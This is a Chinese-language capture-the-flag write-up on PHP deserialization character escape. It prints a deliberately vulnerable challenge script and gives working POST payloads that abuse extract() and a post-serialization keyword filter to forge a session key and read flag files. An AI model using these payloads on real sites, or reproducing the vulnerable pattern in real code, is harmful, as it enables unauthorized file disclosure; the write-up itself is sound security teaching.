反序列化逃逸的方法
1.代碼審計
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
首先很容易在phpinfo中找到一個php文件懷疑為flag
這個題目里根本沒有讀取session文件,這個題只是把$_SESSION數組進行了serialize(),這種地方不要因為看到php處理器而犯迷糊。
過濾函數filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
我們發現unset函數將$_SESSION銷毀了。
然后重新賦予$_SESSION了新的值。
最后調用了extract($_POST);
extract() 函數從數組中將變量導入到當前的符號表。
根據extract()我們可以進行變量覆蓋,
當我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失。
只剩下SESSION[flag]=123。
f參數要傳為show_image,其次可控點就是img_path下的img,但是不能直接傳,因為會進行一系列加密
2. php反序列化字符逃逸
在php中,反序列化的過程中必須嚴格按照序列化規則才能成功實現反序列化
如果我們在str結尾的花括號后再增加一些字符呢?
eg1:
<?php $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc'; var_dump(unserialize($str)); ?>
仍然可以輸出上面的結果,這說明反序列化的過程是有一定識別范圍的,在這個范圍之外的字符(第二個例子里的abc)都會被忽略,不影響反序列化的正常進行。
eg2:
<?php $_SESSION["user"]='flagflagflagflagflagflag'; $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'; $_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn'; echo serialize($_SESSION); ?> a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
假設后台存在一個過濾機制,會將含flag字符替換為空,那么以上序列化字符串過濾結果為
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
將這串字符串進行序列化會得到什么? 這個時候關注第二個s所對應的數字,本來由於有6個flag字符所以為24,現在這6個flag都被過濾了,那么它將會嘗試向后讀取24個字符看看是否滿足序列化的規則,也即讀取;s:8:"function";s:59:"a
,讀取這24個字符后以”;結尾,恰好滿足規則,而后第三個s向后讀取img的20個字符,第四個、第五個s向后讀取均滿足規則,所以序列化結果為:
array(3) { ["user"]=> string(24) "";s:8:"function";s:59:"a" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" ["dd"]=> string(1) "a" }
數組形式:
$_SESSION["user"]='";s:8:"function";s:59:"a'; $_SESSION["img"]='ZDBnM19mMWFnLnBocA=='; $_SESSION["dd"]='a';
可以發現,SESSION數組的鍵值img對應的值發生了改變。 設想,如果我們能夠控制原來SESSION數組的funcion的值但無法控制img的值,我們就可以通過這種方式間接控制到img對應的值。這個感覺就像sql注入一樣,他本來想讀取的base64編碼是:L2QwZzNfZmxsbGxsbGFn
,但是由於過濾掉了flag,向后讀取的過程中把鍵值function放到了第一個鍵值的內容里面,用ZDBnM19mMWFnLnBocA==
代替了真正的base64編碼,讀取了d0g3_f1ag.php
的內容。而識別完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
被忽略掉了,不影響正常的反序列化過程。
3.逃逸實現
get傳參:?f=show_image
post調用extract函數實現變量覆蓋,這里有三種post方式,均可以實現逃逸,可對比學習規律
例如 post傳參:
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
<?php #方法一 $_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; #結果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},這里就造成img不成為一個鍵,也就無法進行加密 #過濾掉flag有 #a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";} #使得繞過;s:51:""到達下一個封號,這時img成功逃逸出來 #方法二 $_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; #方法三 $_SESSION['flagflag']='";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; ?>
回顯得到
<?php $flag = 'flag in /d0g3_fllllllag'; ?>
繼續替換掉base64值讀取即可 L2QwZzNfZmxsbGxsbGFn
參考博客:
https://www.jianshu.com/p/1f44650b0822
https://www.jianshu.com/p/8e8117f9fd0e
http://www.mamicode.com/info-detail-2984973.html
https://www.cnblogs.com/h3zh1/p/12732336.html